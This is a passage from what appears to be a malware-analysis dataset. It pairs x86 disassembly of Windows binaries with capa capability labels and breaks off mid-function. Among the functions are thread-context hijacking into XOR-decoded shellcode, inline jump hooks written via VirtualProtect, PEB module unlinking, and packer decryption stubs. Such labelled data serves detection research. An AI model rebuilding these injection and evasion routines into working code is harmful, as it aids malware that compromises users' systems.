joyce8/EMBER2024-capa huggingface dataset:
Function at 0x10003f20
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
push ecx
push edi
push str.LdrLoadDll
push str.Ntdll.dll
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov edi, eax
test edi, edi
jne 0x10003f49
xor al, al
pop edi
mov esp, ebp
pop ebp
ret
lea eax, [ebp - 4]
push eax
push 0x40
push 6
push 0x10118be0
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
mov eax, dword [edi]
mov dword [0x10118be0], eax
mov ax, word [edi + 4]
mov word [0x10118be4], ax
lea eax, [ebp - 4]
push eax
push dword [ebp - 4]
push 6
push 0x10118be0
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
mov al, 1
pop edi
mov esp, ebp
pop ebp
ret

Function at 0x10003f90
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x42c
mov eax, dword [0x1000e00c]
xor eax, ebp
mov dword [ebp - 4], eax
lea ecx, [ebp - 0x404]
call fcn.10001b30
push 0xc
lea eax, [ebp - 0x41c]
mov dword [ebp - 0x414], 0
push eax
xorps xmm0, xmm0
push 0
movq qword [ebp - 0x41c], xmm0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.PSAPI.DLL_GetModuleInformation]
test eax, eax
jne 0x10003ff6
xor al, al
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.100059c8
mov esp, ebp
pop ebp
ret
mov eax, dword [ebp - 0x41c]
xor ecx, ecx
push esi
mov esi, dword [eax + 0x3c]
cmp cx, word [esi + eax + 6]
jae 0x10004088
push ebx
mov ebx, dword [esi + eax + 0x104]
or edx, 0xffffffff
mov esi, dword [esi + eax + 0x100]
add ebx, eax
mov dword [ebp - 0x410], ebx
mov dword [ebp - 0x40c], esi
push edi
mov edi, ebx
test esi, esi
je 0x1000404a
movzx eax, byte [edi]
lea edi, [edi + 1]
movzx ecx, dl
xor ecx, eax
shr edx, 8
xor edx, dword [ebp + ecx*4 - 0x404]
sub esi, 1
jne 0x10004030
movq xmm0, qword [ebp - 0x410]
lea eax, [ebp - 0x42c]
not edx
mov dword [ebp - 0x42c], ebx
push eax
movq qword [ebp - 0x428], xmm0
mov dword [ebp - 0x420], edx
call fcn.10004580
push eax
add eax, 0x10
push eax
push ecx
lea eax, [ebp - 0x40c]
push eax
call fcn.100045c0
pop edi
pop ebx
mov ecx, dword [ebp - 4]
mov al, 1
xor ecx, ebp
pop esi
call fcn.100059c8
mov esp, ebp
pop ebp
ret
Function at 0x100049d0
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x8c
mov eax, dword [0x1000e00c]
xor eax, esp
mov dword [esp + 0x88], eax
mov eax, dword [ebp + 8]
push ebx
mov ebx, ecx
mov dword [esp + 8], eax
push esi
push edi
cmp dword [ebx + 0x18], 0
je 0x10004b43
lea ecx, [esp + 0x50]
push ecx
push eax
call dword [sym.imp.USER32.dll_BeginPaint]
mov esi, eax
lea eax, [esp + 0x40]
push eax
push dword [ebx + 4]
mov dword [esp + 0x14], esi
call dword [sym.imp.USER32.dll_GetClientRect]
push esi
call dword [sym.imp.GDI32.dll_CreateCompatibleDC]
push dword [ebx + 0x18]
mov edi, eax
push edi
call dword [sym.imp.GDI32.dll_SelectObject]
push 0xcc0020
push 0
push 0
push edi
push dword [ebx + 0x14]
mov esi, eax
push dword [ebx + 0x10]
push 0
push 0
push dword [esp + 0x2c]
call dword [sym.imp.GDI32.dll_BitBlt]
push esi
mov esi, dword [sym.imp.GDI32.dll_SelectObject]
push edi
call esi
push edi
call dword [sym.imp.GDI32.dll_DeleteDC]
cmp byte [ebx + 0x20], 1
jne 0x10004b34
push str.Segoe_UI
push 2
push 5
push 0
push 8
push 1
push 0
push 0
push 0
push 0x12c
push 0
push 0
push 0
push 0xe
call dword [sym.imp.GDI32.dll_CreateFontA]
mov edi, dword [esp + 0xc]
push eax
push edi
call esi
push 1
push edi
call dword [sym.imp.GDI32.dll_SetBkMode]
push dword [ebx + 0x120]
push edi
call dword [sym.imp.GDI32.dll_SetTextColor]
lea esi, [ebx + 0x21]
mov ecx, esi
lea edx, [ecx + 1]
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x10004ac0
mov eax, dword [ebx + 0x14]
sub ecx, edx
push ecx
push esi
sub eax, 0x25
push eax
push 0x12
push edi
call dword [sym.imp.GDI32.dll_TextOutA]
mov edx, 0x3e
xor ecx, ecx
mov al, byte [ecx + str.P03__1fuxyk]
xor al, dl
mov byte [esp + ecx + 0x14], al
inc ecx
lea eax, [edx + 1]
movzx edx, al
cmp ecx, 0x29
jb 0x10004ae2
lea eax, [esp + 0x14]
mov byte [esp + 0x3d], 0
push eax
push esi
call fcn.10002e40
mov ecx, esi
add esp, 8
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x10004b12
mov eax, dword [ebx + 0x14]
sub ecx, edx
push ecx
push esi
sub eax, 0xf
push eax
mov eax, dword [ebx + 0x10]
sub eax, 0xdc
push eax
push edi
call dword [sym.imp.GDI32.dll_TextOutA]
lea eax, [esp + 0x50]
push eax
push dword [esp + 0x14]
call dword [sym.imp.USER32.dll_EndPaint]
mov ecx, dword [esp + 0x94]
pop edi
pop esi
pop ebx
xor ecx, esp
call fcn.100059c8
mov esp, ebp
pop ebp
ret 4
Function at 0x10004b60
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2c
mov eax, dword [0x1000e00c]
xor eax, ebp
mov dword [ebp - 4], eax
mov dword [ecx + 4], 0
mov edx, 0xc2
mov dword [ecx + 0x1c], str.SPLASH
mov dword [ecx + 0xc], 0
xor ecx, ecx
nop dword [eax]
mov al, byte [ecx + 0x1000b8cc]
xor al, dl
mov byte [ebp + ecx - 0x20], al
inc ecx
lea eax, [edx + 1]
movzx edx, al
cmp ecx, 0x1a
jb 0x10004b90
lea eax, [ebp - 0x20]
mov byte [ebp - 6], 0
push eax
mov eax, str.lin
lea ecx, [ebp - 0x2c]
sub eax, 0x702b1031
push eax
call fcn.10004f70
push eax
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov ecx, dword [ebp - 4]
xor ecx, ebp
mov dword [0x10118cec], eax
call fcn.100059c8
mov esp, ebp
pop ebp
ret
Function at 0x10004c30
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x90
mov eax, dword [0x1000e00c]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 0x18]
push esi
push edi
mov edi, dword [0x10118bdc]
mov esi, ecx
push eax
push 0xff
lea eax, [esi + 0x21]
mov byte [esi + 0x20], 1
push eax
call dword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_strcpy_s]
mov eax, dword [ebp + 0x1c]
add esp, 0xc
mov dword [esi + 0x120], eax
mov eax, dword [ebp + 8]
test eax, eax
jne 0x10004cca
mov edx, 0x4c
xor ecx, ecx
nop
mov al, byte [ecx + 0x1000b8f4]
xor al, dl
mov byte [ebp + ecx - 0x20], al
inc ecx
lea eax, [edx + 1]
movzx edx, al
cmp ecx, 0x1a
jb 0x10004c80
push 0x10
push 0
push 0
push 0
lea eax, [ebp - 0x20]
mov byte [ebp - 6], 0
push eax
push edi
call dword [sym.imp.USER32.dll_LoadImageA]
xorps xmm0, xmm0
mov word [ebp - 8], 0
movups xmmword [ebp - 0x20], xmm0
mov byte [ebp - 6], 0
movq qword [ebp - 0x10], xmm0
jmp 0x10004d8b
cmp eax, 1
jne 0x10004d23
mov edx, 0x82
xor ecx, ecx
nop word [eax + eax]
mov al, byte [ecx + 0x1000b910]
xor al, dl
mov byte [ebp + ecx - 0x3c], al
inc ecx
lea eax, [edx + 1]
movzx edx, al
cmp ecx, 0x19
jb 0x10004ce0
push 0x10
push 0
push 0
push 0
lea eax, [ebp - 0x3c]
mov byte [ebp - 0x23], 0
push eax
push edi
call dword [sym.imp.USER32.dll_LoadImageA]
xorps xmm0, xmm0
mov word [ebp - 0x24], 0
movups xmmword [ebp - 0x3c], xmm0
movq qword [ebp - 0x2c], xmm0
jmp 0x10004d8b
push 0x8bd6c414
cmp eax, 2
jne 0x10004d5d
lea ecx, [ebp - 0x58]
call fcn.10005000
push 0x10
push 0
push 0
push 0
push eax
push edi
call dword [sym.imp.USER32.dll_LoadImageA]
xorps xmm0, xmm0
mov word [ebp - 0x40], 0
movups xmmword [ebp - 0x58], xmm0
mov byte [ebp - 0x3e], 0
movq qword [ebp - 0x48], xmm0
jmp 0x10004d8b
lea ecx, [ebp - 0x74]
call fcn.10005000
push 0x10
push 0
push 0
push 0
push eax
push edi
call dword [sym.imp.USER32.dll_LoadImageA]
xorps xmm0, xmm0
mov word [ebp - 0x5c], 0
movups xmmword [ebp - 0x74], xmm0
mov byte [ebp - 0x5a], 0
movq qword [ebp - 0x64], xmm0
mov edi, eax
mov eax, dword [esi + 0x18]
test eax, eax
je 0x10004d9b
push eax
call dword [sym.imp.GDI32.dll_DeleteObject]
mov dword [esi + 0x18], 0
test edi, edi
je 0x10004de6
lea eax, [ebp - 0x8c]
mov dword [esi + 0x18], edi
push eax
push 0x18
push edi
call dword [sym.imp.GDI32.dll_GetObjectA]
test eax, eax
jne 0x10004dd4
mov eax, dword [esi + 0x18]
test eax, eax
je 0x10004dcb
push eax
call dword [sym.imp.GDI32.dll_DeleteObject]
mov dword [esi + 0x18], 0
jmp 0x10004de6
mov eax, dword [ebp - 0x88]
mov dword [esi + 0x10], eax
mov eax, dword [ebp - 0x84]
mov dword [esi + 0x14], eax
mov eax, dword [esi + 4]
mov dword [esi + 0xc], 0x808080
test eax, eax
je 0x10004e27
cmp dword [0x10118cec], 0
je 0x10004e27
push 0xffffffffffffffec
push eax
call dword [sym.imp.USER32.dll_GetWindowLongA]
or eax, 0x80000
push eax
push 0xffffffffffffffec
push dword [esi + 4]
call dword [sym.imp.USER32.dll_SetWindowLongA]
push 1
push 0
push dword [esi + 0xc]
push dword [esi + 4]
call dword [0x10118cec]
mov ecx, dword [ebp - 4]
pop edi
xor ecx, ebp
pop esi
call fcn.100059c8
mov esp, ebp
pop ebp
ret 0x18
Function at 0x10005000
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push esi
push edi
mov edi, dword [ebp + 8]
mov esi, ecx
mov ecx, 9
xor eax, eax
mov dl, byte [edi + eax - 0x7bd60ae8]
xor dl, cl
inc ecx
mov byte [eax + esi], dl
inc eax
movzx ecx, cl
cmp eax, 0x1a
jb 0x10005011
pop edi
mov byte [esi + 0x1a], 0
mov eax, esi
pop esi
pop ebp
ret 4

Function at 0x100051c0
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
push edi
mov edi, dword [0x10118bd4]
lea eax, [ebp - 4]
push eax
push 0x40
push 5
push edi
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
mov eax, 0x10002770
mov byte [edi], 0xe9
sub eax, edi
sub eax, 5
mov dword [edi + 1], eax
lea eax, [ebp - 8]
push eax
push dword [ebp - 4]
push 5
push edi
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
pop edi
mov esp, ebp
pop ebp
ret

Function at 0x10005210
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push edi
mov edi, dword [ebp + 8]
lea eax, [ebp - 4]
push eax
push 0x40
mov ebx, ecx
push edi
push ebx
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
push edi
push 0xc3
push ebx
call sub.VCRUNTIME140.dll_memset
add esp, 0xc
lea eax, [ebp - 4]
push eax
push dword [ebp - 4]
push edi
push ebx
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
pop edi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x10005250
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push ebx
mov bl, byte [ebp + 8]
movsx eax, bl
push esi
mov esi, ecx
movd xmm0, eax
xor eax, eax
punpcklbw xmm0, xmm0
punpcklwd xmm0, xmm0
pshufd xmm2, xmm0, 0
test edx, edx
jle 0x100052e0
cmp edx, 0x20
jb 0x100052cb
mov ecx, edx
push edi
and ecx, 0x8000001f
jns 0x10005289
dec ecx
or ecx, 0xffffffe0
inc ecx
movaps xmm1, xmmword [0x1000b9b0]
mov edi, edx
sub edi, ecx
lea ecx, [esi + 0x10]
nop word [eax + eax]
movups xmm0, xmmword [ecx - 0x10]
add eax, 0x20
lea ecx, [ecx + 0x20]
pxor xmm0, xmm1
psubb xmm0, xmm2
movups xmmword [ecx - 0x30], xmm0
movups xmm0, xmmword [ecx - 0x20]
pxor xmm0, xmm1
psubb xmm0, xmm2
movups xmmword [ecx - 0x20], xmm0
cmp eax, edi
jl 0x100052a0
pop edi
cmp eax, edx
jge 0x100052e0
nop
mov cl, byte [eax + esi]
xor cl, 0xa0
sub cl, bl
mov byte [eax + esi], cl
inc eax
cmp eax, edx
jl 0x100052d0
pop esi
pop ebx
pop ebp
ret

Function at 0x100054d0
Capabilities:
Encode data using xor

Disassembly:
push esi
push 0x100
push 0
push 0x10118ee0
mov esi, ecx
call sub.VCRUNTIME140.dll_memset
movaps xmm1, xmmword [0x1000b9a0]
add esp, 0xc
movaps xmm2, xmmword [str._f_f_f_f_f_f_f_f_f_f_f_f_f_f_f_feeeeeeeeeeeeeeee]
xor eax, eax
shl esi, 8
lea ecx, [esi + 0x10008538]
pop esi
movups xmm0, xmmword [ecx + eax - 0x10]
psubb xmm0, xmm1
pxor xmm0, xmm2
movups xmmword [eax + 0x10118ee0], xmm0
movups xmm0, xmmword [ecx + eax]
psubb xmm0, xmm1
pxor xmm0, xmm2
movups xmmword [eax + 0x10118ef0], xmm0
add eax, 0x20
cmp eax, 0x100
jb 0x10005501
mov eax, 0x10118ee0
ret
Function at 0x10005600
Capabilities:
Allocate or change rwx memory
Create thread
Encode data using xor
Hijack thread execution
Resume thread
Spawn thread to rwx shellcode
Suspend thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2f4
mov eax, dword [0x1000e00c]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
push edi
mov edi, dword [ebp + 0xc]
mov edx, 0xd6
xor eax, eax
nop
mov cl, byte [eax + 0x1000b960]
xor cl, dl
mov byte [ebp + eax - 0x18], cl
inc eax
lea ecx, [edx + 1]
movzx edx, cl
cmp eax, 0x12
jb 0x10005620
lea eax, [ebp - 0x18]
mov byte [ebp - 6], 0
push eax
push 0x3f653e07
lea ecx, [ebp - 0x24]
call fcn.100057c0
push eax
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov esi, eax
mov word [ebp - 0x1c], 0
lea eax, [ebp - 0x2f4]
mov word [ebp - 8], 0
push eax
push 0x40
xorps xmm0, xmm0
mov byte [ebp - 6], 0
push 0x100
push esi
movq qword [ebp - 0x24], xmm0
movups xmmword [ebp - 0x18], xmm0
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
push 0
push 0
push edi
push esi
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.KERNEL32.dll_CreateRemoteThread]
mov esi, eax
push esi
call dword [sym.imp.KERNEL32.dll_SuspendThread]
lea eax, [ebp - 0x2f0]
mov dword [ebp - 0x2f0], 0x10002
push eax
push esi
call dword [sym.imp.KERNEL32.dll_GetThreadContext]
lea eax, [ebp - 0x2f0]
mov dword [ebp - 0x240], 0x100052f0
push eax
push esi
mov dword [ebp - 0x2f0], 0x10002
call dword [sym.imp.KERNEL32.dll_SetThreadContext]
push esi
call dword [sym.imp.KERNEL32.dll_ResumeThread]
mov ecx, dword [ebp - 4]
mov eax, esi
pop edi
xor ecx, ebp
pop esi
call fcn.100059c8
mov esp, ebp
pop ebp
ret 0x10

Function at 0x10005710
Capabilities:
Access peb ldr_data

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
push ebx
push esi
push edi
mov dword [ebp - 8], ecx
nop
nop
nop
nop
nop
mov dword [ebp - 4], 0
nop
nop
nop
nop
nop
pushal
pushfd
nop
nop
nop
nop
nop
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov dword [ebp - 4], eax
mov esi, dword [eax + 0xc]
mov edx, dword [eax + 0x10]
lodsd eax, dword [esi]
mov esi, eax
mov ecx, dword [eax + 0x18]
cmp ecx, dword [ebp - 8]
jne 0x1000575d
mov ebx, dword [eax]
mov ecx, dword [eax + 4]
mov dword [ecx], ebx
mov dword [ebx + 4], ecx
jmp 0x10005761
cmp edx, esi
jne 0x10005746
mov eax, dword [ebp - 4]
mov esi, dword [eax + 0x14]
mov edx, dword [eax + 0x18]
lodsd eax, dword [esi]
mov esi, eax
mov ecx, dword [eax + 0x10]
cmp ecx, dword [ebp - 8]
jne 0x10005781
mov ebx, dword [eax]
mov ecx, dword [eax + 4]
mov dword [ecx], ebx
mov dword [ebx + 4], ecx
jmp 0x10005785
cmp edx, esi
jne 0x1000576a
mov eax, dword [ebp - 4]
mov esi, dword [eax + 0x1c]
mov edx, dword [eax + 0x20]
lodsd eax, dword [esi]
mov esi, eax
mov ecx, dword [eax + 8]
cmp ecx, dword [ebp - 8]
jne 0x100057a5
mov ebx, dword [eax]
mov ecx, dword [eax + 4]
mov dword [ecx], ebx
mov dword [ebx + 4], ecx
jmp 0x100057a9
cmp edx, esi
jne 0x1000578e
popfd
popal
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x430002
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
mov eax, section..idata
nop
nop
nop
nop
nop
push 4
nop
nop
pop edi
nop
nop
nop
nop
nop
cmp eax, 0
nop
nop
nop
nop
nop
je 0x430072
nop
mov ebx, 0x408ecc
nop
nop
mov ecx, ebx
nop
nop
nop
nop
nop
sub ecx, eax
nop
nop
nop
xor edx, edx
nop
nop
nop
nop
nop
nop
nop
push eax
mov eax, ecx
nop
nop
nop
nop
nop
nop
div edi
nop
nop
nop
xchg ecx, eax
nop
nop
nop
nop
nop
nop
nop
nop
pop eax
nop
nop
mov esi, 0x8e80b9f
xor dword [eax], esi
nop
nop
nop
nop
nop
nop
nop
add eax, edi
nop
nop
nop
loop 0x430060
nop
nop
mov eax, section..data
nop
nop
cmp eax, 0
nop
nop
nop
nop
nop
je 0x4300d2
nop
nop
mov ebx, 0x42e1d0
mov ecx, ebx
nop
nop
nop
nop
nop
nop
nop
sub ecx, eax
nop
nop
nop
nop
xor edx, edx
nop
nop
push eax
nop
nop
nop
nop
nop
nop
nop
nop
mov eax, ecx
nop
nop
nop
nop
div edi
nop
nop
xchg ecx, eax
nop
nop
nop
nop
pop eax
nop
nop
nop
nop
nop
mov esi, 0x3778479f
nop
nop
xor dword [eax], esi
nop
nop
nop
add eax, edi
nop
nop
nop
nop
loop 0x4300c0
nop
nop
nop
popal
nop
nop
nop
nop
nop
jmp 0x401219
Function at 0x2a3179f6
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
pushal
call 0x2a317a05
pop dword [ebp - 0xc]
mov eax, 0x58d0893d
sub eax, 0x2e9f0f38
sub dword [ebp - 0xc], eax
mov dword [ebp - 0x1c], 0xea5b1ef3
add dword [ebp - 0x1c], 0x63f72658
mov dword [ebp - 0x18], 0x27ceea83
sub dword [ebp - 0x18], 0xf59b9e3e
mov dword [ebp - 0x14], 0x6d40993a
sub dword [ebp - 0x14], 0x20f4550c
mov dword [ebp - 0x10], 0x3aa050a7
add dword [ebp - 0x10], 0xc55faf59
lea eax, [ebp - 0x1c]
push eax
mov eax, 0x89cf80b8
sub eax, 0x5f9a0034
add eax, dword [ebp - 0xc]
call dword [eax]
mov dword [ebp - 0x1c], 0x5e559838
sub dword [ebp - 0x1c], 0xe9e32ee2
mov dword [ebp - 0x18], 0xa930575f
add dword [ebp - 0x18], 0x983c0a16
mov dword [ebp - 0x14], 0xbb91bdd7
add dword [ebp - 0x14], 0xa7ddae95
mov dword [ebp - 0x10], 0xd1dd056a
sub dword [ebp - 0x10], 0xd1dd056a
lea ebx, [ebp - 0x1c]
push ebx
push eax
mov eax, sym.imp.kernel32.dll_GetProcAddress
add eax, dword [ebp - 0xc]
call dword [eax]
push 0x40
push 0x1000
push 0x4798b
push 0
call eax
mov ecx, 0xd8bd6af1
sub ecx, 0xd8bd2e3b
xor esi, esi
add esi, eax
mov edx, 0xbddc87e5
add edx, 0x6c5b6e1b
add edx, dword [ebp - 0xc]
mov ebx, 0x996ba231
sub dword [ebp - 4], esi
mov edi, dword [edx]
xor dword [ebp - 4], 0x9ba9797b
sub edi, ebx
mov dword [ebp - 4], 0x679e716c
mov dword [esi], edi
add esi, 0x38886c2e
sub esi, 0x38886c2a
add edx, 4
loop 0x2a317b1e
add eax, 0xc60782f4
add eax, 0x39f962b7
xor ebx, ebx
add ebx, eax
add eax, 5
mov ecx, 0x2a300000
add ecx, dword [ebp - 0xc]
call ebx
leave
ret
Function at 0x425070
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x42509d
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x42509d
mov edx, 0x10b
xor eax, eax
cmp word [ecx + 0x18], dx
sete al
pop ebp
ret
xor eax, eax
pop ebp
ret

Function at 0x418180
Capabilities:
Packed with generic packer

Disassembly:
pushal
mov esi, section.UPX1
lea edi, [esi - 0x12000]
push edi
or ebp, 0xffffffff
jmp 0x4181a2
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0x4181a9
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x418198
mov eax, 1
add ebx, ebx
jne 0x4181bb
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0x4181b0
jne 0x4181cc
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x4181b0
xor ecx, ecx
sub eax, 3
jb 0x4181e0
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0x418252
mov ebp, eax
add ebx, ebx
jne 0x4181eb
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jne 0x4181f8
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jne 0x41821c
inc ecx
add ebx, ebx
jne 0x418208
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0x4181fd
jne 0x418219
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x4181fd
add ecx, 2
cmp ebp, 0xfffff300
adc ecx, 1
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0x41823c
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0x41822d
jmp 0x41819e
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0x41823c
add edi, ecx
jmp 0x41819e
pop esi
mov edi, esi
mov ecx, 0x3b2
mov al, byte [edi]
inc edi
sub al, 0xe8
cmp al, 1
ja 0x41825a
cmp byte [edi], 0
jne 0x41825a
mov eax, dword [edi]
mov bl, byte [edi + 4]
shr ax, 8
rol eax, 0x10
xchg ah, al
sub eax, edi
sub bl, 0xe8
add eax, esi
mov dword [edi], eax
add edi, 5
mov eax, ebx
loop 0x41825f
lea edi, [esi + 0x16000]
mov eax, dword [edi]
or eax, eax
je 0x4182ce
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0x180b0]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0x18114]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0x41828c
mov ecx, edi
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0x18118]
or eax, eax
je 0x4182c8
mov dword [ebx], eax
add ebx, 4
jmp 0x4182a9
call dword [esi + 0x1811c]
popal
jmp 0x40a630
Function at 0x10001090
Capabilities:
Write file on windows

Disassembly:
push ebx
push esi
mov esi, ecx
xor ebx, ebx
cmp dword [esi + 0x110], ebx
push edi
jne 0x8f90936
cmp dword [esi + 0x114], ebx
je 0x10001136
push ebp
mov ebp, dword [esp + 0x14]
push ebp
call fcn.1000f510
xor ecx, ecx
add eax, 1
mov edx, 2
mul edx
seto cl
neg ecx
or ecx, eax
push ecx
call fcn.1000f451
mov edi, eax
add esp, 8
cmp edi, ebx
je 0x1000112a
push ebp
call fcn.1000f510
push eax
push ebp
push edi
call fcn.1000f3cb
add esp, 0x10
cmp eax, ebx
je 0x10001113
mov word [edi + eax*2], bx
mov eax, dword [esi]
mov edx, dword [eax + 0xc]
push edi
mov ecx, esi
call edx
push edi
mov esi, eax
call fcn.1000f1bc
add esp, 4
pop ebp
pop edi
mov eax, esi
pop esi
pop ebx
ret 4
push edi
mov esi, 0x80004005
call fcn.1000f1bc
add esp, 4
pop ebp
pop edi
mov eax, esi
pop esi
pop ebx
ret 4
pop ebp
pop edi
pop esi
mov eax, 0x80004005
pop ebx
ret 4
mov edx, dword [esp + 0x10]
mov eax, edx
mov dword [esi + 0x110], ebx
lea edi, [eax + 1]
mov cl, byte [eax]
add eax, 1
cmp cl, bl
jne 0x10001145
mov ecx, dword [esi + 0x10c]
sub eax, edi
push ebx
mov edi, eax
lea eax, [esp + 0x14]
push eax
push edi
push edx
push ecx
call dword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
je 0x10001171
cmp edi, dword [esp + 0x10]
je 0x1000117c
pop edi
pop esi
mov eax, 0x80004005
pop ebx
ret 4
pop edi
pop esi
mov eax, ebx
pop ebx
ret 4

Function at 0x10001190
Capabilities:
Write file on windows

Disassembly:
push ecx
push ebx
mov ebx, ecx
mov edx, dword [ebx + 0x110]
test edx, edx
push esi
push edi
jne 0x8f90a56
cmp dword [ebx + 0x114], edx
jne 0x10001256
mov edi, dword [esp + 0x14]
mov eax, edi
lea edx, [eax + 2]
lea esp, [esp]
mov cx, word [eax]
add eax, 2
test cx, cx
jne 0x100011c0
sub eax, edx
sar eax, 1
add eax, 1
push eax
call fcn.1000f451
mov esi, eax
add esp, 4
test esi, esi
je 0x1000124a
mov eax, edi
lea edx, [eax + 2]
mov cx, word [eax]
add eax, 2
test cx, cx
jne 0x100011e6
sub eax, edx
sar eax, 1
push eax
push edi
push esi
call fcn.1000f79a
add esp, 0xc
test eax, eax
je 0x10001233
push eax
push esi
call fcn.1000f541
add esp, 8
test eax, eax
je 0x10001215
mov byte [eax], 0
mov eax, dword [ebx]
mov edx, dword [eax + 0x10]
push esi
mov ecx, ebx
call edx
push esi
mov edi, eax
call fcn.1000f1bc
add esp, 4
mov eax, edi
pop edi
pop esi
pop ebx
pop ecx
ret 4
push esi
mov edi, 0x80004005
call fcn.1000f1bc
add esp, 4
mov eax, edi
pop edi
pop esi
pop ebx
pop ecx
ret 4
pop edi
pop esi
mov eax, 0x80004005
pop ebx
pop ecx
ret 4
push ebp
mov ebp, dword [esp + 0x18]
mov eax, ebp
lea esi, [eax + 2]
mov cx, word [eax]
add eax, 2
test cx, cx
jne 0x10001260
mov edi, dword [sym.imp.KERNEL32.dll_WriteFile]
sub eax, esi
sar eax, 1
test edx, edx
lea esi, [eax + eax]
je 0x100012af
mov edx, dword [ebx + 0x10c]
push 0
lea eax, [esp + 0x1c]
push eax
push 2
lea ecx, [esp + 0x1c]
push ecx
push edx
mov dword [esp + 0x24], 0xfeff
call edi
mov dword [ebx + 0x110], 0
mov dword [ebx + 0x114], 1
mov ecx, dword [ebx + 0x10c]
push 0
lea eax, [esp + 0x1c]
push eax
push esi
push ebp
push ecx
call edi
test eax, eax
pop ebp
je 0x1000124a
cmp esi, dword [esp + 0x14]
jne 0x1000124a
pop edi
pop esi
xor eax, eax
pop ebx
pop ecx
ret 4
Function at 0x100012e0
Capabilities:
Write file on windows

Disassembly:
push ecx
push esi
xor esi, esi
cmp dword [ecx + 0x110], esi
jne 0x1000134d
cmp dword [ecx + 0x114], esi
push esi
jne 0x10001321
mov ecx, dword [ecx + 0x10c]
lea eax, [esp + 8]
push eax
push 2
push 0x1001f288
push ecx
call dword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
je 0x10001319
cmp dword [esp + 4], 2
je 0x1000134d
mov eax, 0x80004005
pop esi
pop ecx
ret
mov eax, dword [ecx + 0x10c]
lea edx, [esp + 8]
push edx
push 4
push 0x1001f280
push eax
call dword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
je 0x10001345
cmp dword [esp + 4], 4
je 0x1000134d
mov eax, 0x80004005
pop esi
pop ecx
ret
mov eax, esi
pop esi
pop ecx
ret

Function at 0x10003bf0
Capabilities:
Query or enumerate registry value

Disassembly:
push ecx
mov eax, dword [esp + 0xc]
push edi
push 0x2e
push eax
call fcn.1000ff1e
add esp, 8
test eax, eax
je 0x10003c61
lea ecx, [esp + 0x10]
push ecx
push 0x20019
push 0
push eax
push SysReAllocString
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x10003c61
mov edi, dword [esp + 0xc]
mov ecx, dword [esp + 0x10]
push esi
